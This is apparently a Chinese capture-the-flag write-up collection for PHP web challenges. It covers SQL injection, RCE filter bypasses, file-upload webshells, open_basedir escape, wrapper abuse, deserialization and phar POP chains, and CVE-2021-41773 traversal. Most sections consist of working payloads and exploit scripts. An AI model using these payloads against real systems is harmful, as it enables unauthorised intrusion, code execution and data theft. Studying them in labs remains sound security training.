目录
源码目录找flag
简单的rce
- highlight_file('index.php');
- include("flag.php");
- $id=$_POST['id'];
- $json=json_decode($_GET['json'],true);
- if ($id=="wllmNB"&&$json['x']=="wllm")
- {echo $flag;}
- ?>
json字符串例子
json['x']=wllm 的json格式是 {"x":"wllm"}
- if ($name != $password && md5($name) == md5($password)){
- echo $flag;
- }
数组绕过
name[]=1
password[]=2
- /?wllm=-1' union select 1,2,3--+
-
- /?wllm=-1' union select 1,2,database()--+
-
- /?wllm=-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
-
- /?wllm=-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='test_tb')--+
-
- /?wllm=-1' union select 1,2,(select group_concat(flag)from test_tb)--+
- if(isset($_GET['url']))
- {
- eval($_GET['url']);
/?url=system('cat /fl*');
- if (isset($_GET['url'])) {
- $ip=$_GET['url'];
- if(preg_match("/ /", $ip)){
- die('nonono');
- }
- $a = shell_exec($ip);
- echo $a;
就是过滤空格,rce时候不能ls /
${IFS} 代替空格
/rasalghul.php?url=cat${IFS}/fl*
- class wllm{
-
- public $admin;
- public $passwd;
-
- public function __construct(){
- $this->admin ="user";
- $this->passwd = "123456";
- }
-
- public function __destruct(){
- if($this->admin === "admin" && $this->passwd === "ctf"){
- include("flag.php");
- echo $flag;
- }else{
- echo $this->admin;
- echo $this->passwd;
- echo "Just a bit more!";
- }
- }
- }
-
- $p = $_GET['p'];
- unserialize($p);
简单构造
- class wllm{
- public $admin;
- public $passwd;
- public function __construct(){
- $this->admin ="admin";
- $this->passwd = "ctf";
- }
- }
-
- $p = new wllm();
- echo serialize($p);
filter 伪协议
-
- class HaHaHa{
-
-
- public $admin;
- public $passwd;
-
- public function __construct(){
- $this->admin ="user";
- $this->passwd = "123456";
- }
-
- public function __wakeup(){
- $this->passwd = sha1($this->passwd);
- }
-
- public function __destruct(){
- if($this->admin === "admin" && $this->passwd === "wllm"){
- include("flag.php");
- echo $flag;
- }else{
- echo $this->passwd;
- echo "No wake up";
- }
- }
- }
-
- $Letmeseesee = $_GET['p'];
- unserialize($Letmeseesee);
修改属性个数绕__wakeup()
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
改成
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
使用WLLM浏览器
bp抓包修改UA
Content-Type 修改
直接蚁剑
真的flag在phpinfo()中
图片马上传进去,改名phtml
蚁剑连
.htaccess 解析图片马
报错注入
- ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
- ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
- ?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 1,1),0x7e),1)--+
- 这里涉及到flag显示一半的问题
- ?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)--+
- ?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+
- if(isset($_GET['wllm']))
- {
- $wllm = $_GET['wllm'];
- $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
- foreach ($blacklist as $blackitem)
- {
- if (preg_match('/' . $blackitem . '/m', $wllm)) {
- die("LTLT说不能用这些奇奇怪怪的符号哦!");
- }}
- if(preg_match('/[a-zA-Z]/is',$wllm))
- {
- die("Ra's Al Ghul说不能用字母哦!");
- }
- echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
- eval($wllm);
- }
无字母数字rce
能过虑的都过虑了,发现~没有过虑,可以进行取反
php取反rce的脚本:
- fwrite(STDOUT,'[+]your function: ');
- $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
- fwrite(STDOUT,'[+]your command: ');
- $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
- echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
- if(isset($_GET['wllm']))
- {
- $wllm = $_GET['wllm'];
- $blacklist = [' ','\^','\~','\|'];
- foreach ($blacklist as $blackitem)
- {
- if (preg_match('/' . $blackitem . '/m', $wllm)) {
- die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
- }}
- if(preg_match('/[a-zA-Z0-9]/is',$wllm))
- {
- die("Ra'sAlGhul说用字母数字是没有灵魂的!");
- }
- echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
- eval($wllm);
- }
这里取反~不能用了
用自增 无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客_绕过正则表达式
- //测试发现7.0.12以上版本不可使用
- //使用时需要url编码下
- $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
- 固定格式 构造出来的 assert($_POST[_]);
- 然后post传入 _=phpinfo();
发现system,exec,shell_exec,popen,proc_open,passthru被禁用 ,同时设置了open_basedir,无法看到文件
但是可以用file_put_contents(,)
_=file_put_contents('1.php',"'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
访问1.php
- if(isset($_GET['url']))
- {
- $url=$_GET['url'];
- if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
- {
- echo "Sorry,you can't use this.";
- }
- else
- {
- echo "Can you see anything?";
- exec($url);
- }
没有过滤|这个符号,然后exec执行是没有回显的,这个题目是需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。
过滤了ls 可以用l\s 来代替
然后访问1.txt
/?url=tac /flllll\aaaaaaggggggg | tee 2.txt
filter协议读
/index.php?wllm=php://filter/convert.base64-encode/resource=hint.php
- $a= $_GET["a"];
- if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
- echo "success\n";
- echo $flag;
data 协议写入内容
/test2222222222222.php?a=data://text/plain,I want flag
- class w44m{
-
- private $admin = 'aaa';
- protected $passwd = '123456';
-
- public function Getflag(){
- if($this->admin === 'w44m' && $this->passwd ==='08067'){
- include('flag.php');
- echo $flag;
- }else{
- echo $this->admin;
- echo $this->passwd;
- echo 'nono';
- }
- }
- }
-
- class w22m{
- public $w00m;
- public function __destruct(){
- echo $this->w00m;
- }
- }
-
- class w33m{
- public $w00m;
- public $w22m;
- public function __toString(){
- $this->w00m->{$this->w22m}();
- return 0;
- }
- }
-
- $w00m = $_GET['w00m'];
- unserialize($w00m);
就三个类,__destruct入口 调用__toString() , echo是针对字符串的
__toString()去调用Getflag(),也就是 $this->w22m=Getflag
序列化链
- class w44m{
- private $admin = 'w44m';
- protected $passwd = '08067';
-
- public function Getflag(){
- if($this->admin === 'w44m' && $this->passwd ==='08067'){
- include('flag.php');
- echo $flag;
- }else{
- echo $this->admin;
- echo $this->passwd;
- echo 'nono';
- }
- }
- }
-
- class w22m{
- public $w00m;
- public function __destruct(){
- echo $this->w00m;
- }
- }
-
- class w33m{
- public $w00m;
- public $w22m;
- public function __toString(){
- $this->w00m->{$this->w22m}();
- return 0;
- }
- }
-
- $a=new w44m();
- $b=new w22m();
- $c=new w33m();
-
- $b->w00m=$c;
- $c->w00m=$a;
- $c->w22m="Getflag";
-
- echo urlencode(serialize($b));
有私有属性一定要url编码一下
有waf ,fuzz一下
这些都过滤了,主要是空格 = ban了
空格用/**/,=用like ,然后--+ 和 #不能用,%23 来闭合
payload:
- /?wllm=-1'/**/union/**/select/**/1,2,database()%23
-
- /?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
-
- /?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23
读flag字段时,值显示出一半的flag,right,left,substr都过滤了,可以考虑用mid
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,40)/**/from/**/LTLT_flag%23
CVE-2021-41773
简单来说: 检测路径中是否存在%字符,并且如果%后面的两个字符是十六进制字符,就会对后面的两个字符进行url解码转化,如路径中有%2e./,则会解码为../,转换后判断是否存在../,加入路径中使用.%2e/则能绕过,导致目录穿越漏洞,因为当遍历到第一个.时,后面两个字符是%2并不是./,就不会被处理,绕过检测。
目录穿越 ,dirsearch能扫到
- error_reporting(0);
- define("main","main");
- include "Class.php";
- $temp = new Temp($_POST);
- $temp->display($_GET['filename']);
-
- ?>
还有个Class.php
- defined('main') or die("no!!");
- Class Temp{
- private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
- private $template;
- public function __construct($data){
-
- $this->date = array_merge($this->date,$data);
- }
- public function getTempName($template,$dir){
- if($dir === 'admin'){
- $this->template = str_replace('..','','./template/admin/'.$template);
- if(!is_file($this->template)){
- die("no!!");
- }
- }
- else{
- $this->template = './template/index.html';
- }
- }
- public function display($template,$space=''){
-
- extract($this->date);
- $this->getTempName($template,$space);
- include($this->template);
- }
- public function listdata($_params){
- $system = [
- 'db' => '',
- 'app' => '',
- 'num' => '',
- 'sum' => '',
- 'form' => '',
- 'page' => '',
- 'site' => '',
- 'flag' => '',
- 'not_flag' => '',
- 'show_flag' => '',
- 'more' => '',
- 'catid' => '',
- 'field' => '',
- 'order' => '',
- 'space' => '',
- 'table' => '',
- 'table_site' => '',
- 'total' => '',
- 'join' => '',
- 'on' => '',
- 'action' => '',
- 'return' => '',
- 'sbpage' => '',
- 'module' => '',
- 'urlrule' => '',
- 'pagesize' => '',
- 'pagefile' => '',
- ];
-
- $param = $where = [];
-
- $_params = trim($_params);
-
- $params = explode(' ', $_params);
- if (in_array($params[0], ['list','function'])) {
- $params[0] = 'action='.$params[0];
- }
- foreach ($params as $t) {
- $var = substr($t, 0, strpos($t, '='));
- $val = substr($t, strpos($t, '=') + 1);
- if (!$var) {
- continue;
- }
- if (isset($system[$var])) {
- $system[$var] = $val;
- } else {
- $param[$var] = $val;
- }
- }
- // action
- switch ($system['action']) {
-
- case 'function':
-
- if (!isset($param['name'])) {
- return 'hacker!!';
- } elseif (!function_exists($param['name'])) {
- return 'hacker!!';
- }
-
- $force = $param['force'];
- if (!$force) {
- $p = [];
- foreach ($param as $var => $t) {
- if (strpos($var, 'param') === 0) {
- $n = intval(substr($var, 5));
- $p[$n] = $t;
- }
- }
- if ($p) {
-
- $rt = call_user_func_array($param['name'], $p);
- } else {
- $rt = call_user_func($param['name']);
- }
- return $rt;
- }else{
- return null;
- }
- case 'list':
- return json_encode($this->date);
- }
- return null;
- }
- }
[GFCTF 2021]Baby_Web(复现)_M1kael的博客-CSDN博客
可以看到在index.php中get传参
它对我们传参的值进行display方法
- public function display($template,$space=''){
-
- extract($this->date);
- $this->getTempName($template,$space);
- include($this->template);
- }
然后经过extract,再进行getTempName方法
- public function getTempName($template,$dir){
- if($dir === 'admin'){
- $this->template = str_replace('..','','./template/admin/'.$template);
- if(!is_file($this->template)){
- die("no!!");
- }
- }
这里给了个目录/template/admin/
我们试着直接访问一下
我们会发现 它会调用listdata方法
然后我们在listadta方法中发现危险函数
- $rt = call_user_func_array($param['name'], $p);
- $rt = call_user_func($param['name']);
利用 call_user_func()
我们要调用这个函数,我们需要调用listdata方法,要这个listdata方法就需要进入template/admin/index.html这个页面,就需要先让dir === ‘admin’,所以就是让space=admin,然后$template=index.html,就是filename=index.html,但是调用listdata方法 我们也需要传参mod变量
审代码
- $_params = trim($_params);//删除两侧多余的空格
- $params = explode(' ', $_params);//以空格分隔成数组
- if (in_array($params[0], ['list','function'])) {
- $params[0] = 'action='.$params[0];
- }
- foreach ($params as $t) {//遍历新⽣成的数组
- $var = substr($t, 0, strpos($t, '='));//key
- $val = substr($t, strpos($t, '=') + 1);//value
- if (!$var) {
- continue;
- }
- if (isset($system[$var])) {
- $system[$var] = $val;
- } else {
- $param[$var] = $val;//数组定义
- }
- }
数组定义
- switch ($system['action']) {//把key为action的值来比较
-
- case 'function':
-
- if (!isset($param['name'])) {//必须有key为name
- return 'hacker!!';
- } elseif (!function_exists($param['name']))//还必须被定义
- {
- return 'hacker!!';
- }
-
- $force = $param['force'];
- if (!$force) {
- $p = [];//我们只需要这一步定义
- foreach ($param as $var => $t) {
- if (strpos($var, 'param') === 0) {
- $n = intval(substr($var, 5));
- $p[$n] = $t;
- }
- }
- if ($p) {
- $rt = call_user_func_array($param['name'], $p);
- } else {
- $rt = call_user_func($param['name']);//利用的key为name的value值
- }
payload:
- URL?filename=index.html
-
- (POST)space=admin&mod=123 action=function name=phpinfo
尝试上传,自动解析成txt文件
文件查看可以查到源码
read.php
- error_reporting(0);
- $filename=$_POST['file'];
- if(!isset($filename)){
- die();
- }
- $file=new zz($filename);
- $contents=$file->getFile();
- ?>
upload.php
- if(isset($_POST['submit'])){
- $upload_path="upload/".md5(time()).".txt";
- $temp_file = $_FILES['upload_file']['tmp_name'];
- if (move_uploaded_file($temp_file, $upload_path)) {
- echo "文件路径:".$upload_path;
- } else {
- $msg = '上传失败';
- }
- }
class.php
- class aa{
- public $name;
-
- public function __construct(){
- $this->name='aa';
- }
-
- public function __destruct(){
- $this->name=strtolower($this->name);
- }
- }
-
- class ff{
- private $content;
- public $func;
-
- public function __construct(){
- $this->content="\";
- }
-
- public function __get($key){
- $this->$key->{$this->func}($_POST['cmd']);
- }
- }
-
- class zz{
- public $filename;
- public $content='surprise';
-
- public function __construct($filename){
- $this->filename=$filename;
- }
-
- public function filter(){
- if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
- die('这不合理');
- }
- }
-
- public function write($var){
- $filename=$this->filename;
- $lt=$this->filename->$var;
- //此功能废弃,不想写了
- }
-
- public function getFile(){
- $this->filter();
- $contents=file_get_contents($this->filename);
- if(!empty($contents)){
- return $contents;
- }else{
- die("404 not found");
- }
- }
-
- public function __toString(){
- $this->{$_POST['method']}($_POST['var']);
- return $this->content;
- }
- }
-
- class xx{
- public $name;
- public $arg;
-
- public function __construct(){
- $this->name='eval';
- $this->arg='phpinfo();';
- }
-
- public function __call($name,$arg){
- $name($arg[0]);
- }
- }
顺着魔术方法构造
poc
- class aa{
- public $name;
- function __construct(){
- $this->name = new zz();
- }
- }
-
- class ff{
- private $content;
- public $func = "assert";
- function __construct(){
- $this->content = new xx();
- }
- }
-
- class zz{
- public $filename;
- public $content='surprise';
- function __construct(){
- $this->filename = new ff();
- }
-
- }
-
- class xx{
- public $name;
- public $arg;
- }
-
- $a = new aa();
- echo urlencode(serialize($a));
-
- # 下面这部分就没改
- $phar = new Phar("phar.phar");
- $phar->startBuffering();
- $phar->setStub(""); //设置stub
-
- $phar->setMetadata($a); //将自定义的meta-data存入manifest
- $phar->addFromString("test.txt", "test"); //添加要压缩的文件
- //签名自动计算
- $phar->stopBuffering();
生成phar文件 上传进去
然后在read.php 这里post
查看文件这里可以看到源码
file.php ,提供了get传参
-
- header("content-type:text/html;charset=utf-8");
- include 'function.php';
- include 'class.php';
- ini_set('open_basedir','/var/www/html/');
- $file = $_GET["file"] ? $_GET['file'] : "";
- if(empty($file)) {
- echo "
There is no file to show!"
; - }
- $show = new Show();
- if(file_exists($file)) {
- $show->source = $file;
- $show->_show();
- } else if (!empty($file)){
- die('file doesn\'t exists.');
- }
- ?>
主要看
class.php
- class C1e4r
- {
- public $test;
- public $str;
- public function __construct($name)
- {
- $this->str = $name;
- }
- public function __destruct()
- {
- $this->test = $this->str;
- echo $this->test;
- }
- }
-
- class Show
- {
- public $source;
- public $str;
- public function __construct($file)
- {
- $this->source = $file; //$this->source = phar://phar.jpg
- echo $this->source;
- }
- public function __toString()
- {
- $content = $this->str['str']->source;
- return $content;
- }
- public function __set($key,$value)
- {
- $this->$key = $value;
- }
- public function _show()
- {
- if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
- die('hacker!');
- } else {
- highlight_file($this->source);
- }
-
- }
- public function __wakeup()
- {
- if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
- echo "hacker~";
- $this->source = "index.php";
- }
- }
- }
- class Test
- {
- public $file;
- public $params;
- public function __construct()
- {
- $this->params = array();
- }
- public function __get($key)
- {
- return $this->get($key);
- }
- public function get($key)
- {
- if(isset($this->params[$key])) {
- $value = $this->params[$key];
- } else {
- $value = "index.php";
- }
- return $this->file_get($value);
- }
- public function file_get($value)
- {
- $text = base64_encode(file_get_contents($value));
- return $text;
- }
- }
- ?>
Test类:
创建对象时$params转化为数组,当调用未定义的属性或没有权限访问的属性时__get方法触发,调用get函数,get函数的$key传递给file_get函数的$value,file_get函数再将$value经过file_get_contents函数处理和base64编码传递给$test并输出。
分析完我们应当是想通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get,所以关键是触发__get方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring方法
- public function __toString()
- {
- $content = $this->str['str']->source;
- return $content;
- }
问对象的souce属性,而Test类中是没有这个属性的,让它来访问Test即可触发__get
方法,那么现在的问题变成了__tostring
的触发,看C1e4r类中的__destruct ,
echo出test
正好可以触发__tostring
整个pop链就是C1e4r::destruct() -> Show::toString() -> Test::__get()
- class C1e4r
- {
- public $test;
- public $str;
- }
-
- class Show
- {
- public $source;
- public $str;
- }
-
- class Test
- {
- //Test类中没有source属性,可以根据这个调用__get()函数
- public $file;
- public $params;//数组类型的数值
- }
-
-
- $a = new C1e4r();
- $b = new Show();
- $c = new Test();
-
- $a->str = $b;
- $b->str['str'] = $c;
- $c->params['source'] = "/var/www/html/f1ag.php";
-
- @unlink('test.phar');
-
- $phar=new Phar('test.phar');
- $phar->startBuffering();
- $phar->setStub('');
- $phar->setMetadata($a);//链子以$a为起点
- $phar->addFromString("test.txt","test");
- $phar->stopBuffering();
- ?>
根据上传功能的源码phar文件要改名,然后访问upload目录
以phar协议读取
这题有点难啊
WP篇之解析GFCTF---文件查看器 | Arsene.Tang
admin , admin 登录进去
www.zip源码泄露
Files.class.php
- class Files{
- public $filename;
-
- public function __construct(){
- $this->log();
- }
-
- public function read(){
- include("view/file.html");
- if(isset($_POST['file'])){
- $this->filename=$_POST['file'];
- }else{
- die("请输入文件名");
- }
- $contents=$this->getFile();
- echo '
- echo "这合理吗";
- throw new Error("这不合理");
- }
- }
-
- public function getFile(){
- $contents=file_get_contents($this->filename);
- $this->filter();
- if(isset($_POST['write'])){
- file_put_contents($this->filename,$contents);
- }
- if(!empty($contents)){
- return $contents;
- }else{
- die("该文件不存在或者内容为空");
- }
- }
-
- public function log(){
- $log=new Myerror();
- }
-
- public function __get($key){
- ($key)($this->arg);
- }
- }
Myerror.class.php
- class Myerror{
- public $message;
-
- public function __construct(){
- ini_set('error_log','/var/www/html/log/error.txt');
- ini_set('log_errors',1);
- }
-
- public function __tostring(){
- $test=$this->message->{$this->test};
- return "test";
- }
- }
User.class.php
- error_reporting(0);
- class User{
- public $username;
- public $password;
-
- public function login(){
- include("view/login.html");
- if(isset($_POST['username'])&&isset($_POST['password'])){
- $this->username=$_POST['username'];
- $this->password=$_POST['password'];
- if($this->check()){
- header("location:./?c=Files&m=read");
- }
- }
- }
-
- public function check(){
- if($this->username==="admin" && $this->password==="admin"){
- return true;
- }else{
- echo "{$this->username}的密码不正确或不存在该用户";
- return false;
- }
- }
-
- public function __destruct(){
- (@$this->password)();
- }
-
- public function __call($name,$arg){
- ($name)();
- }
- }
头部在
User
类的__desctruct
中,然后尾部是在Files
类中的__get
中,里面可以执行任意命令;头部首先进入了__desctruct()
后,可以通过数组的形式访问任意类的任意方法,那我们就让它访问User
类的check()
方法中,然后这里有echo
,以字符串的形式输出对象,然后就会跳到Myerror
类中的__tostring()
方法中,然后它里面的$this->test
是可控的,我们让它等于一个Files
类里面没有的属性就行了,就可以直接调用__get
方法了,并且给$key
赋值
poc链:
- class Files{
- public $filename;
-
- public function __construct(){
- $this->arg = 'cat /f*';
- }
- }
- class Myerror{
- public $message;
-
- public function __construct(){
- $this -> test = 'system';
- $this -> message = new Files();
- }
- }
- class User{
- public $username = 'admin';
- public function __construct(){
- //$this -> password = [$this,"check"];
- $this -> username = new Myerror();
- }
-
- }
- $a = new User();
- $a -> password = [new User(),"check"];
- echo serialize($a);
后面理解有点费劲了